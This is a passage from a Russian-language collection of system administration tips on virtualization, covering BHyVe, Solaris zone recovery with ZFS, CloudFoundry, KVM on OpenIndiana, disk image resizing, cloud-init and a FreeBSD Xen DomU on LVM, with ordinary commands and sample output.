       #!/bin/sh
       kldload vmm
       kldload if_tap
       ifconfig tap0 create
       kldload bridgestp
       kldload if_bridge
       ifconfig bridge0 create
       ifconfig bridge0 addm em0
       ifconfig bridge0 addm tap0
       ifconfig bridge0 up
       ifconfig tap0 up
    
    
    Запуск гостевой системы в среде виртуализации:
    
    Выполняем скрипт конфигурации хост-системы и запускаем гостевое окружение vm1:
    
       cd /usr/share/vm1/
       sh vmprep.sh
       sh vmrun.sh vm1
    
    Если не удаётся загрузить модуль vmm.ko на экран будет выведена примерно такая ошибка:
    
       Launching virtual machine "vm1" with 768MB memory below 4GB and 2048MB memory above 4GB ...
      vm_create: No such file or directory
    
    В случае успеха будет отображён процесс загрузки FreeBSD:
    
    
       Launching virtual machine "vm1" with 768MB memory below 4GB and  2048MB memory above 4GB ...
       Consoles: userboot  
    
       FreeBSD/amd64 User boot, Revision 1.1
       (neel@freebsd.org, Sun Sep 25 22:19:14 PDT 2011)
       Loading /boot/defaults/loader.conf 
       /boot//kernel/kernel text=0x41e94f data=0x57ac0+0x273590 syms=[0x8+0x737b8+0x8+0x6abe3]
       /boot//kernel/virtio.ko size 0x4ad8 at 0xbc8000
       /boot//kernel/if_vtnet.ko size 0xac80 at 0xbcd000
       /boot//kernel/virtio_pci.ko size 0x56c0 at 0xbd8000
       /boot//kernel/virtio_blk.ko size 0x4f60 at 0xbde000
       ....
    
    Если используемый в системе процессор не содержит возможностей,  необходимых
    для работы BHyVe, будет выведен примерно такой текст ошибки:
    
       ...
       AMD Features=0x20100800<SYSCALL,NX,LM>
       AMD Features2=0x1<LAHF>
       kldload vmm.ko
       vmx_init: processor does not support desired primary processor-based controls
       module_register_init: MOD_LOAD (vmm, 0xffffffff816127a0, 0) error 22
    
    Тестовая гостевая система сконфигурирована с пустым паролем для пользователя
    root. После входа следует настроить параметры сети указав IP в ручную через
    команду ifconfig или получив адрес по DHCP, запустив "dhclient vtnet0".
    
    Для остановки виртуальной машины нужно перезагрузить гостевое окружение, нажать
    ESC при появлении экрана загрузки и набрать "quit" в приглашении загрузчика.
    
     
    ----* Опыт восстановления работы zones в Solaris 11 Express/OpenSolaris (доп. ссылка 1)   Автор: sergm  [комментарии]
     
    После скоропостижной гибели жесткого диска с лежащими на нем зонами, наступило
    время восстановить их из бекапа и запустить. Казалось, тривиальная процедура,
    отрепетированная на тестовых системах (но не тех, где лежали зоны - это
    важно) отняла много времени и поставила несколько вопросов, ответы на которые
    еще придется поискать.
    
    Восстанавливаем зону из бекапа:
    
       # zfs send -R backup/zone/develop@rep201108250419 | zfs receive -F vol01/ zone/develop@rep201108250419
    
    Стартуем зону и наблюдаем странное:
    
       # zoneadm -z develop boot
    
       zone 'develop': ERROR: no active dataset.
       zone 'develop':
       zoneadm: zone 'develop': call to zoneadmd failed
    
    Ошибка явно говорит о том, что у нас что-то не в порядке со свойствами датасета.
    
    Начинаем осмотр датасета
    
    Чтобы было с чем сравнивать, я создал и запустил тестовую зону, свойства ее
    файловых систем и брал за эталон.
    
    Тестовая зона создается примерно так:
    
        # zonecfg -z testzone
    
        testzone: No such zone configured
        Use&#8217;create&#8217; to begin configuring a new zone.
        zonecfg:testzone>create
        zonecfg:testzone>set zonepath=/vol01/zone/testzone
        zonecfg:testzone>set autoboot=false
        zonecfg:testzone>add net
        zonecfg:testzone:net>set physical=e1000g4
        zonecfg:testzone:net>set address=192.168.0.24/24
        zonecfg:testzone:net>end
        zonecfg:testzone>verify
        zonecfg:testzone>commit
        zonecfg:testzone>exit
    
        # zoneadm -z testzone install
        ...
    
        # zoneadm -z testzone boot
    
    При инсталляции в OpenSolaris/Solaris 11 создаются три датасета (по адресу zonepath):
    
        # zfs list | grep vol01/zone/testzone
    
        NAME
        vol01/zone/testzone
        vol01/zone/testzone/ROOT
        vol01/zone/testzone/ROOT/zbe
    
    Лечение
    
        Смотрим полный список свойств датасетов исправной и сломанной зон и сравниваем их:
        
       # zfs get all vol01/zone/testzone
    
        (сдесь должен быть очень большой вывод, который я пропустил и самое интересное из которого можно увидеть ниже)
    
        # zfs get all vol01/zone/testzone/ROOT
        ...
        # zfs get all vol01/zone/testzone/ROOT/zbe
        ...
        # zfs get all vol01/zone/develop
        ...
        # zfs get all vol01/zone/develop/ROOT
        ...
        # zfs get all vol01/zone/develop/ROOT/zbe
    
        ...
    
    Наблюдаем основную разницу в данных свойствах датасета:
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/testzone/ROOT/zbe
    
        NAME    PROPERTY    VALUE    SOURCE
    
        vol01/zone/testzone/ROOT/zbe  zoned on inherited from vol01/zone/testzone/ROOT
        vol01/zone/testzone/ROOT/zbe  canmount noauto  local
        vol01/zone/testzone/ROOT/zbe  mountpoint legacy inherited from vol01/zone/testzone/ROOT
        vol01/zone/testzone/ROOT/zbe  org.opensolaris.libbe:parentbe  2aadf62d-9560-e14b-c36a-f9136fbce6e9  local
        vol01/zone/testzone/ROOT/zbe  org.opensolaris.libbe:active on  local
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/develop/ROOT/zbe
    
        NAME    PROPERTY    VALUE    SOURCE
    
        vol01/zone/develop/ROOT/zbe  zoned off default
        vol01/zone/develop/ROOT/zbe  canmount on default
        vol01/zone/develop/ROOT/zbe  mountpoint /vol01/zone/develop/ROOT/zbe  default
        vol01/zone/develop/ROOT/zbe  org.opensolaris.libbe:parentbe - -
        vol01/zone/develop/ROOT/zbe  org.opensolaris.libbe:active - -
    
    
    Исправляем, чтобы было нормально:
    
        # zfs set zoned=on vol01/zone/develop/ROOT/zbe
        # zfs set canmount=noauto vol01/zone/develop/ROOT/zbe
        # zfs set mountpoint=legacy vol01/zone/develop/ROOT/zbe
        # zfs set org.opensolaris.libbe:parentbe=2aadf62d-9860-e14b-c36a-f9106fbce6e9 vol01/zone/develop/ROOT/zbe
        # zfs set org.opensolaris.libbe:active=on vol01/zone/develop/ROOT/zbe
    
    Аналогично, правим vol01/zone/develop/ROOT после сравнения с работающей зоной:
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/testzone/ROOT
    
        NAME    PROPERTY    VALUE    SOURCE
        vol01/zone/testzone/ROOT  zoned on local
        vol01/zone/testzone/ROOT  canmount on default
        vol01/zone/testzone/ROOT  mountpoint legacy local
        vol01/zone/testzone/ROOT  org.opensolaris.libbe:parentbe - -
        vol01/zone/testzone/ROOT  org.opensolaris.libbe:active  - -
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/develop/ROOT
    
        NAME    PROPERTY    VALUE    SOURCE
        vol01/zone/develop/ROOT  zoned off default
        vol01/zone/develop/ROOT  canmount on default
        vol01/zone/develop/ROOT  mountpoint  /vol01/zone/develop/ROOT     default
        vol01/zone/develop/ROOT  org.opensolaris.libbe:parentbe - -
        vol01/zone/develop/ROOT  org.opensolaris.libbe:active - -
    
       # zfs set zoned=on vol01/zone/develop/ROOT
       # zfs set canmount=on vol01/zone/develop/ROOT
    
    После этого у нас все хорошо: свойства датасетов практически идентичны.
    
        # zlogin -C develop
    
        [Connected to zone 'develop' console]
        [NOTICE: Zone booting up]
        SunOS Release 5.11 Version snv_134 64-bit
        Copyright 1983-2010 Sun Microsystems, Inc.  All rights reserved.
        Use is subject to license terms.
        Hostname: develop
        Reading ZFS config: done.
        Mounting ZFS filesystems: (5/5)
    
        develop console login: mike
        Password:
        Last login: Mon Aug 2 06:41:54 from nostalgia
        Sun Microsystems Inc.   SunOS 5.11      snv_134 February 2010
        (mike@develop)$ su
        Password:
        Aug 27 15:04:13 develop su: &#8216;su root&#8217; succeeded for mike on /dev/console
        (root@develop)# svcs -xv
        (root@develop)#
    
    Вместо послесловия
    
    Если у зоны были смонтированы  из глобальной зоны файловые системы через lofs,
    будет такой казус - зона загрузиться, но локальные файловые системы не будут
    смонтированы, сервис filesystem/local:default перейдет в состояние maintenance
    с ошибкой 262 в логах:
       /usr/bin/zfs mount -a failed: cannot mount local filesystem.
    
    Проблему можно решить экспортировав и затем импортировав зону
    
       # zoneadm -z webapp detach
       # zoneadm -z webapp attach
    
    После этого все будет работать нормально.
    
     
    ----* Использование PaaS-платформы CloudFoundry в Ubuntu 11.10 (доп. ссылка 1) (доп. ссылка 2)   [обсудить]
     
    В universe-репозиторий  Ubuntu 11.10 будут входить пакеты с реализацией
    поддержки серверной и клиентской части PaaS-платформы (Platform as a Service) [[http://www.opennet.ru/opennews/art.shtml?num=30241
    CloudFoundry]], развиваемой компанией VMware и доступной в исходных текстах под
    лицензией Apache.
    
    Платформа позволяет сформировать инфраструктуру для выполнения в облачных
    окружениях конечных приложений на Java (Spring), Grails, Ruby (Rails, Sinatra),
    JavaScript (Node.js), Scala и других языках, работающих поверх JVM. Из СУБД
    поддерживаются СУБД MySQL, Redis и MongoDB. PaaS-платформа, в отличие от IaaS,
    работает на более высоком уровне, чем выполнение готовых образов операционных
    систем, избавляя потребителя от необходимости обслуживания ОС и системных
    компонентов, таких как СУБД, языки программирования, программные фреймворки и
    т.п. В PaaS от пользователя требуется только загрузка приложения, которое будет
    запущено в готовом окружении, предоставляемом платформой.
    
    
    Устанавливаем необходимые серверные пакеты из отдельного PPA-репозитория:
    
       sudo apt-add-repository ppa:cloudfoundry/ppa
       sudo apt-get update
       sudo apt-get install cloudfoundry-server
    
    В процессе установки потребуется ответить на несколько вопросов debconf, таких как пароль к MySQL.
    
    Устанавливаем клиентские пакеты для тестирования сервера:
    
       sudo apt-get install cloudfoundry-client
    
    В итоге имеем сервер "vcap" и клиент "vmc".
    
    Настройка
    
    По умолчанию vmc-клиент настроен для работы с внешним сервисом
    CloudFoundry.com. Для того, чтобы обеспечить его работу с локальным сервером
    потребуется настроить сопутствующие локальных службы.
    
    Во первых требуется обеспечить автоматическое сопоставление для выполняемых
    приложений IP-адреса cloud-окружения с доменным именем. Самым типичным способом
    является использование готовых DNS-сервисов, таких как DynDNS.com, настроить
    автоматическую отправку обновлений на сервис SynDNS.com можно запустив:
    
       dpkg-reconfigure cloudfoundry-server
    
    
    В более простом случае, для проведения экспериментов можно обойтись правкой
    /etc/hosts на стороне клиента и сервера.
    
    Смотрим внешний IP-адрес сервера. Если сервер запущен не на локальной машине, а
    в сервисе Amazon EC2 адрес можно посмотреть через обращение к API Amazon командой:
    
       wget -q -O- http://169.254.169.254/latest/meta-data/public-ipv4
       174.129.119.101
    
    Соответственно, в /etc/hosts на сервере и клиентских машинах добавляем
    управляющий хост api.vcap.me, а также хост для тестового приложения (в нашем
    случае приложение будет называться testing123):
    
       echo "174.129.119.101  api.vcap.me testing123.vcap.me" | sudo tee -a /etc/hosts
    
    Привязываем vmc-клиент к серверу vcap (CloudFoundry):
    
       vmc target api.vcap.me
    
       Succesfully targeted to [http://api.vcap.me]
    
    Добавляем на сервер нового пользователя:
    
       vmc add-user 
    
       Email: test@example.com
       Password: ********
       Verify Password: ********
       Creating New User: OK
       Successfully logged into [http://api.vcap.me]
    
    Заходим на сервер:
    
       vmc login 
    
       Email: test@example.com
       Password: ********
       Successfully logged into [http://api.vcap.me]
    
    
    Размещаем своё приложение на сервере. В качестве примера, загрузим простую
    программу на языке Ruby, использующую фреймворк Sinatra. Примеры можно найти в
    директории /usr/share/doc/ruby-vmc/examples.
    
    Переходим в директорию с приложением:
       cd /usr/share/doc/ruby-vmc/examples/ruby/hello_env
    
    Копируем его на сервер:
    
       vmc push
    
       Would you like to deploy from the current directory? [Yn]: y
       Application Name: testing123
       Application Deployed URL: 'testing123.vcap.me'? 
       Detected a Sinatra Application, is this correct? [Yn]: y
       Memory Reservation [Default:128M] (64M, 128M, 256M, 512M, 1G or 2G) 
       Creating Application: OK
       Would you like to bind any services to 'testing123'? [yN]: n
       Uploading Application:
         Checking for available resources: OK
         Packing application: OK
         Uploading (0K): OK 
         Push Status: OK
         Staging Application: OK
         Starting Application: OK
    
    Все готово! Теперь можно открыть в браузере http://testing123.vcap.me/ и
    насладиться результатом работы загруженной программы.
    
    
    Пример развертывания приложения в сервисе CloudFoundry.com
    
    Подкоючаем vmc-клиент к сервису CloudFoundry.com:
    
       vmc target https://api.cloudfoundry.com
    
       Succesfully targeted to [https://api.cloudfoundry.com]
    
    Входим, предварительно зарегистрировавшись на сайте CloudFoundry.com:
    
       vmc login
       Email: test@example.com
       Password: **********
       Successfully logged into [https://api.cloudfoundry.com]
    
    Размещаем NodeJS-приложение:
    
       cd /usr/share/doc/ruby-vmc/examples/nodejs/hello_env
       vmc push
    
       Would you like to deploy from the current directory? [Yn]: y
       Application Name: example102
       Application Deployed URL: 'example102.cloudfoundry.com'? 
       Detected a Node.js Application, is this correct? [Yn]: y
       Memory Reservation [Default:64M] (64M, 128M, 256M, 512M or 1G) 64M
       Creating Application: OK
       Would you like to bind any services to 'example102'? [yN]: n
       Uploading Application:
         Checking for available resources: OK
         Packing application: OK
         Uploading (0K): OK   
       Push Status: OK
       Staging Application: OK
       Starting Application: OK 
    
    Открываем в браузере http://example102.cloudfoundry.com/ и видим результат работы
    
    
    Размещаем программу на Java:
    
    Переходим в директорию с примером:
    
       cd /usr/share/doc/ruby-vmc/examples/springjava/hello_env
    
    Собираем JAR-архив:
    
       sudo apt-get install openjdk-6-jdk maven2
       ...
       cd $HOME
       cp -r /usr/share/doc/ruby-vmc/examples/springjava .
       cd springjava/hello_env/
       mvn clean package
       ...
       cd target
    
    Загружаем на сервер:
    
       vmc push
    
       Would you like to deploy from the current directory? [Yn]: y
       Application Name: example103
       Application Deployed URL: 'example103.cloudfoundry.com'?  
       Detected a Java Web Application, is this correct? [Yn]: y
       Memory Reservation [Default:512M] (64M, 128M, 256M, 512M or 1G) 512M
       Creating Application: OK
       Would you like to bind any services to 'example103'? [yN]: n
       Uploading Application:
         Checking for available resources: OK
         Packing application: OK
         Uploading (4K): OK   
       Push Status: OK
       Staging Application: OK 
       Starting Application: OK
    
    Открываем в браузере http://example103.cloudfoundry.com/.
    
    Размещаем более сложное готовое web-приложение Drawbridge, требующее для
    своей работы СУБД MySQL (параметры подключаемого сервиса mysql-4a958 задаются
    отдельно, в web-интерфейсе cloudfoundry.com):
    
       cd $HOME
       bzr branch lp:~kirkland/+junk/drawbridge   
       cd drawbridge  
    
       vmc push
    
       Would you like to deploy from the current directory? [Yn]: y
       Application Name: example104
       Application Deployed URL: 'example104.cloudfoundry.com'? 
       Detected a Node.js Application, is this correct? [Yn]: y
       Memory Reservation [Default:64M] (64M, 128M, 256M or 512M) 128M
       Creating Application: OK
       Would you like to bind any services to 'example104'? [yN]: y
       Would you like to use an existing provisioned service [yN]? n
       The following system services are available:
          1. mongodb
          2. mysql
          3. redis
       Please select one you wish to provision: 2
       Specify the name of the service [mysql-4a958]: 
       Creating Service: OK
       Binding Service: OK
       Uploading Application:
         Checking for available resources: OK
         Processing resources: OK
         Packing application: OK
         Uploading (77K): OK   
       Push Status: OK
       Staging Application: OK 
    Starting Application: OK
    
    Открываем http://example104.cloudfoundry.com 
    
    Просмотр размещенных приложений и доступных сервисов.
    
    Выводим список приложений:
    
       vmc apps 
    
       | Application | #  | Health  | URLS | Services    |
       | example102 | 1  | RUNNING | example102.cloudfoundry.com | |
       | example103 | 1  | RUNNING | example103.cloudfoundry.com | |
       | example101 | 1  | RUNNING | example101.cloudfoundry.com | |
       | example104 | 1  | RUNNING | example104.cloudfoundry.com | mysql-4a958 |
    
    Выводим список доступных сервисов:
    
       vmc services 
    
       | Service | Version | Description                   |
       | redis   | 2.2     | Redis key-value store service |
       | mongodb | 1.8     | MongoDB NoSQL store           |
       | mysql   | 5.1     | MySQL database service        |
    
       == Provisioned Services ==
    
       | Name        | Service |
       | mysql-4a958 | mysql   |
       | mysql-5894b | mysql   |
    
    
    Выводим список доступных фреймворков:
    
       vmc frameworks 
    
       | Name    |
       | rails3  |
       | sinatra |
       | lift    |
       | node    |
       | grails  |
       | spring  |
    
    
    Изменение выделенных для приложения ресурсов
    
    Увеличение доступной памяти:
    
       vmc mem example101
    
       Update Memory Reservation? [Current:128M] (64M, 128M, 256M or 512M) 512M
       Updating Memory Reservation to 512M: OK
       Stopping Application: OK
       Staging Application:  OK 
       Starting Application: OK  
    
    Проверяем, какие ресурсы доступны:
    
       vmc stats example101
       | Instance | CPU (Cores) | Memory (limit) | Disk (limit) | Uptime       |
       | 0        | 0.1% (4)    | 16.9M (512M)   | 40.0K (2G)   | 0d:0h:1m:22s |
    
    
    Увеличение числа одновременно выполняемых окружений для приложения example104 до 4:
    
       vmc instances example104 4
    
       Scaling Application instances up to 4: OK
    
    Проверяем, какие ресурсы доступны:
    
       vmc stats example104
    
       | Instance | CPU (Cores) | Memory (limit) | Disk (limit) | Uptime        |
       | 0        | 0.0% (4)    | 21.0M (128M)   | 28.0M (2G)   | 0d:0h:19m:33s |
       | 1        | 0.0% (4)    | 15.8M (128M)   | 27.9M (2G)   | 0d:0h:2m:38s  |
       | 2        | 0.0% (4)    | 16.3M (128M)   | 27.9M (2G)   | 0d:0h:2m:36s  |
       | 3        | 0.0% (4)    | 15.8M (128M)   | 27.9M (2G)   | 0d:0h:2m:37s  |
    
     
    ----* Использование системы виртуализации KVM в OpenIndiana (доп. ссылка 1)   [комментарии]
     
    В бета-версии 151 сборки проекта OpenIndiana, в рамках которого независимым
    сообществом развивается построенное на кодовой базе Illumos ответвление от
    OpenSolaris, появилась поддержка системы виртуализации KVM. Поддержка KVM была ранее
    портирована компанией
    Joyent для своей ОС SmartOS и на днях перенесена в Illumos (за исключением
    поддержки  KVM branded zone, которая пока не добавлена).
    
    <p>Для использования KVM пользователям последней доступной сборки oi_148
    необходимо выполнить обновление до oi_151_beta:
    
       sudo pkg set-publisher -g http://pkg.openindiana.org/dev-il -G http://pkg.openindiana.org/dev openindiana.org
       sudo pkg image-update --be-name oi_151_beta
    
    После чего можно подключить репозиторий с пакетами для работы с KVM и
    установить требуемые инструменты:
    
      sudo pkg set-publisher -p http://pkg.openindiana.org/kvm-test
      sudo pkg install driver/i86pc/kvm system/qemu system/qemu/kvm
    
    Управление окружениями производится при помощи стандартных утилит из состава
    QEMU. Использование libvirt пока не поддерживается.
    
    Пример использования.
    
    Создаем образ гостевой системы:
    
       qemu-img create -f qcow2 virt.img 15G 
    
    Устанавливаем операционную систему в гостевое окружение:
    
       qemu-kvm -hda virt.img -cdrom install_cd.iso -boot d -m 512
    
    Запускаем гостевое окружение (вместо qemu-kvm можно использовать qemu-system-x86_64):
    
       qemu-kvm -hda virt.img -net nic -net user
    
     
    ----* Изменение размера виртуального диска KVM/QEMU/VirtualBox   [комментарии]
     
    При необходимости расширения размера виртуального диска в формате qcow2,
    используемом в системах виртуализации  KVM и QEMU, можно обойтись без
    клонирования и создания нового образа.
    
    Завершаем работу виртуальной машины, связанной с изменяемым дисковым образом.
    
    Увеличиваем размер образа. В случае использования KVM/QEMU:
    
       qemu-img resize vm.qcow2 +5GB
    
    В случае использования VirtualBox, потребуется дополнительный шаг с
    промежуточным преобразованием VDI в qcow2 или raw-формат:
    
       qemu-img convert -f vdi -O qcow2 vm.vdi vm.qcow2
       qemu-img resize vm.qcow2 +5G
       qemu-img convert -f qcow2 -O vdi vm.qcow2 vm.vdi
    
    Другой вариант с использованием штатной утилиты VBoxManage:
    
       VBoxManage internalcommands converttoraw vm.vdi vm.raw
       qemu-img resize vm.raw +5G
       VBoxManage convertfromraw --format VDI --variant Standard vm.raw  vm.vdi
    
    Также можно создать новый большой VDI-раздел и клонировать в него старое содержимое:
    
       VBoxManage clonehd --existing old.vdi new.vdi
    
    
    Для задействования появившегося свободного пространства, необходимо расширить
    размер связанной с дисковым образом файловой системы. Для расширения ФС проще
    всего воспользоваться приложением gparted.
    Скачиваем из сети Live-дистрибутив Parted Magic или SystemRescueCd.
    Загружаем Live-дистрибутив в новой виртуальной машине, не забыв присоединить к
    ней изменяемый дисковый образ.
    После загрузки запускаем gparted, выбираем виртуальный диск и видим в хвосте
    нераспределенную область. Кликаем правой кнопкой мыши на имеющейся ФС и
    выбираем "Resize/Move", следуя дальнейшим подсказкам в интерфейсе.
    
    После завершения расширения размера, загружаем изначальную виртуальную машину и
    запускаем утилиту fsck для проверки раздела, размер которого был изменен:
    
       sudo fsck /dev/sda1
    
     
    ----* Использование cloud-init для запуска cloud-редакции Ubuntu в локальном KVM-окружении (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    В состав адаптированных для установки в cloud-окружениях сборок Ubuntu 10.10
    (UEC) был интегрирован cloud-init, конфигурируемый процесс инициализации,
    позволяющий унифицировать процесс задания конфигурации во время загрузки,
    например, указать локаль, имя хоста, SSH-ключи и точки монтирования.
    
    Ниже представлен скрипт по установке и преднастройке UEC-сборки в виде гостевой
    системы, работающей под управлением локального гипервизора KVM.
    
    # Загружаем свежую сборку UEC с http://uec-images.ubuntu.com,
    # например, стабильный выпуск Ubuntu 10.10 (http://uec-images.ubuntu.com/maverick/current/) 
    # или тестовую версию Ubuntu 11.04 (http://uec-images.ubuntu.com/natty/current/).
    
       uecnattyservercurrent=http://uec-images.ubuntu.com/server/natty/current/natty-server-uec-i386.tar.gz
    
    # Распаковываем img-образ и устанавливаем несколько переменных, указываем 
    # на ядро и базовые директории:
    
       tarball=$(basename $uecnattyservercurrent)
       [ -f ${tarball} ] || wget ${uecnattyservercurrent}
       contents=${tarball}.contents
       tar -Sxvzf ${tarball} | tee "${contents}"
       cat natty-server-uec-i386.tar.gz.contents
       base=$(sed -n 's/.img$//p' "${contents}")
       kernel=$(echo ${base}-vmlinuz-*)
       floppy=${base}-floppy
       img=${base}.img
    
    # Преобразуем образ UEC в формат qcow2, для запуска под управлением KVM:
    
       qemu-img create -f qcow2 -b ${img} disk.img
    
    # Подготавливаем набор мета-данных (файлы meta-data и user-data) для 
    # автоматизации настройки гостевой системы, примеры можно посмотреть здесь
    
    # Запускаем простейший HTTP-сервер для отдачи файлов с мета-данными 
    # Сервер будет запущен на 8000 порту и будет отдавать файлы meta-data 
    # и user-data из текущей директории, которые следует модифицировать в зависимости 
    # от текущих предпочтений (можно прописать команды по установке дополнительных пакетов, 
    # запустить любые команды, подключить точки монтирования и т.п.)
    
       python -m SimpleHTTPServer &
       websrvpid=$!
    
    # Запускаем гостевую систему под управлением KVM, базовый URL для загрузки 
    # мета-данных передаем через опцию "s=":
    
       kvm -drive file=disk.img,if=virtio,boot=on -kernel "${kernel}" \
          -append "ro init=/usr/lib/cloud-init/uncloud-init root=/dev/vda ds=nocloud-net;s=http://192.168.122.1:8000/ ubuntu-pass=ubuntu"
    
    # Завершаем выполнение http-сервера, используемого для отдачи мета-данных.
       kill $websrvpid
    
    
    
    Пример файла user-data:
    
       #cloud-config
       #apt_update: false
       #apt_upgrade: true
       #packages: [ bzr, pastebinit, ubuntu-dev-tools, ccache, bzr-builddeb, vim-nox, git-core, lftp ]
    
       apt_sources:
        - source: ppa:smoser/ppa
    
       disable_root: True
    
       mounts:
        - [ ephemeral0, None ]
        - [ swap, None ]
    
       ssh_import_id: [smoser ]
    
       sm_misc:
        - &user_setup |
          set -x; exec > ~/user_setup.log 2>&1
          echo "starting at $(date -R)"
          echo "set -o vi" >> ~/.bashrc
          cat >> ~/.profile <<EOF
          export EDITOR=vi
          EOF
    
       runcmd:
        - [ sudo, -Hu, ubuntu, sh, -c, 'grep "cloud-init.*running"  /var/log/cloud-init.log > ~/runcmd.log' ]
        - [ sudo, -Hu, ubuntu, sh, -c, 'read up sleep < /proc/uptime; echo $(date): runcmd up at $up | tee -a ~/runcmd.log' ]
        - [ sudo, -Hu, ubuntu, sh, -c, *user_setup ]
    
    Пример файла meta-data
    
       #ami-id: ami-fd4aa494
       #ami-launch-index: '0'
       #ami-manifest-path: ubuntu-images-us/ubuntu-lucid-10.04-amd64-server-20100427.1.manifest.xml
       #block-device-mapping: {ami: sda1, ephemeral0: sdb, ephemeral1: sdc, root: /dev/sda1}
       hostname: smoser-sys
       #instance-action: none
       instance-id: i-87018aed
       instance-type: m1.large
       #kernel-id: aki-c8b258a1
       local-hostname: smoser-sys.mosers.us
       #local-ipv4: 10.223.26.178
       #placement: {availability-zone: us-east-1d}
       #public-hostname: ec2-184-72-174-120.compute-1.amazonaws.com
       #public-ipv4: 184.72.174.120
       #public-keys:
       #  ec2-keypair.us-east-1: [ssh-rsa AAAA.....
       #      ec2-keypair.us-east-1, '']
       #reservation-id: r-e2225889
       #security-groups: default
    
     
    ----* Подготовка DomU FreeBSD-окружения для выполнения в Linux Dom0 Xen с LVM (доп. ссылка 1)   [комментарии]
     
    В качестве хост-системы будет использован сервер на базе Debian GNU/Linux 5, на
    котором дисковые разделы разбиты с использованием LVM.
    
    Для сборки работающего в режиме паравиртуализации ядра FreeBSD и формирования
    образа системы понадобится уже установленная FreeBSD. В простейшем случае можно
    воспользоваться VirtualBox для временной установки FreeBSD.
    
    Заходим в существующую FreeBSD систему и подготавливаем дисковый образ /tmp/freebsd.img для Xen.
    
       cd /usr/src
       truncate -s 1G /tmp/freebsd.img
    
    Привязываем файл с дисковым образом к устройству /dev/md0
    
       mdconfig -f freebsd.img
    
    Разбиваем разделы, форматируем и монтируем в /mnt:
    
       fdisk -BI /dev/md0
       bsdlabel -wB md0s1
       newfs -U md0s1a
       mount /dev/md0s1a /mnt
    
    Собираем мир и ядро с паравиртуальными драйверами Xen и устанавливаем в директорию /mnt:
    
       make buildworld
       make buildkernel KERNCONF=XEN 
       make DESTDIR=/mnt installworld
       make DESTDIR=/mnt installkernel KERNCONF=XEN 
       make DESTDIR=/mnt distribution
    
    В /mnt/etc/ttys добавляем строку с описанием терминала xc0
    
       xc0 "/usr/libexec/getty Pc" vt100 on secure
    
    В /mnt/etc/fstab прописываем параметры монтирования корня:
    
       /dev/ad0s1a / ufs rw 0 0
    
    Отмонтируем сформированный образ и скопируем его на хост-систему, на которой будет работать DomU:
    
       umount /mnt
       mdconfig -d -u 0
       bzip2 -v9 /tmp/freebsd.img
       scp /tmp/freebsd.img.bz2 user@dom0-host.example.com:/tmp/freebsd.img.bz2
    
    Отдельно копируем ядро с паравиртуальными драйверами:
    
       scp /usr/obj/usr/srcsys/XEN/kernel user@dom0-host.example.com:/tmp/freebsd_8.2-RC1_kernel
    
    
    Настраиваем Dom0
    
    Подготавливаем LVM-разделы, которые будут использоваться для работы FreeBSD.
    Создадим два раздела - один для изменения размера рабочего раздела и второй -
    рабочий раздел, на котором будет работать гостевая система.
    
    Создаем LVM-разделы в уже присутствующей физической группе xen-vol:
    
       lvcreate -L1000 -n freebsdmaint.example.com xen-vol
       lvcreate -L110000 -n freebsd-dom0.example.com xen-vol
    
    копируем ранее созданный образ в данные разделы:
    
       dd if=freebsd.img of=/dev/xen-vol/freebsdmaint.example.com bs=1M
       dd if=freebsd.img of=/dev/xen-vol/freebsd-dom0.example.com bs=1M
    
    Конфигурируем Xen:
    
    Создаем два файла конфигурации: первый для обслуживания изменения размера
    раздела и второй для рабочего виртуального окружения (отдельный раздел нужен
    так как мы не можем переконфигурировать текущий раздел без его отмонтирования,
    смонтировать файл через "mount -o loop" мы не можем так как в Linux отсутствует
    полноценная поддержка UFS).
    
    Ранее подготовленное ядро копируем в /xen/kernels/freebsd_8.2-RC1_kernel
    
    Окружение для изменения размера дискового раздела freebsdmaint.example.conf.cfg:
    
       kernel = "/xen/kernels/freebsd_8.2-RC1_kernel"
       vcpus = '1' # 1 CPU
       memory = '64' # 64 Мб ОЗУ
       disk = [ 'phy:/dev/xen-vol/freebsdmaint.example.com,hda,w',  'phy:/dev/xen-vol/freebsd-dom0.example.com,hdb,w' ]
       name = 'freebsdmaint.example.com'
       vif = [ 'bridge=eth0,mac=00:16:3E:62:DB:03' ]
       extra = 'xencons=tty1'
       extra = "boot_verbose"
       extra += ",boot_single"
       extra += ",kern.hz=100"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
    
    Рабочее окружение freebsd-dom0.example.conf.cfg (отличается от предыдущей
    конфигурации указанием только одного раздела freebsd-dom0.example.com):
    
       kernel = "/xen/kernels/freebsd_8.2-RC1_kernel"
       vcpus = '1'
       memory = '64'
       disk = [ 'phy:/dev/xen-vol/freebsd-dom0.example.com,hda,w' ]
       name = 'freebsd-dom0.example.com'
       vif = [ 'bridge=eth0,mac=00:16:3E:62:DB:03' ]
       extra = 'xencons=tty1'
       extra = "boot_verbose"
       extra += ",boot_single"
       extra += ",kern.hz=100"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
    
    Запускаем обслуживающее окружение:
    
       xm create -c freebsdmaint.example.conf.cfg
    
    Изменяем размер рабочего раздела, который виден как /dev/ad1s1a (после запуска
    fdisk на первые два вопроса отвечаем 'y', после запроса размера указываем
    размер основного раздела как "число Мб * 2048"):
    
       fdisk -u /dev/ad1
       
       ******* Working on device /dev/ad1 *******
       parameters extracted from in-core disklabel are:
       cylinders=14023 heads=255 sectors/track=63 (16065 blks/cyl)
    
       Figures below won't work with BIOS for partitions not in cyl 1
       parameters to be used for BIOS calculations are:
       cylinders=14023 heads=255 sectors/track=63 (16065 blks/cyl)
    
       Do you want to change our idea of what BIOS thinks ? [n] n
       Media sector size is 512
       Warning: BIOS sector numbering starts with sector 1
       Information from DOS bootblock is:
       The data for partition 1 is:
       sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD)
       start 63, size 2088387 (1019 Meg), flag 80 (active)
       beg: cyl 0/ head 1/ sector 1;
       end: cyl 129/ head 254/ sector 63
       Do you want to change it? [n] y
       ...
       Supply a decimal value for "size" [2088387]
    
       fdisk: WARNING: partition does not end on a cylinder boundary
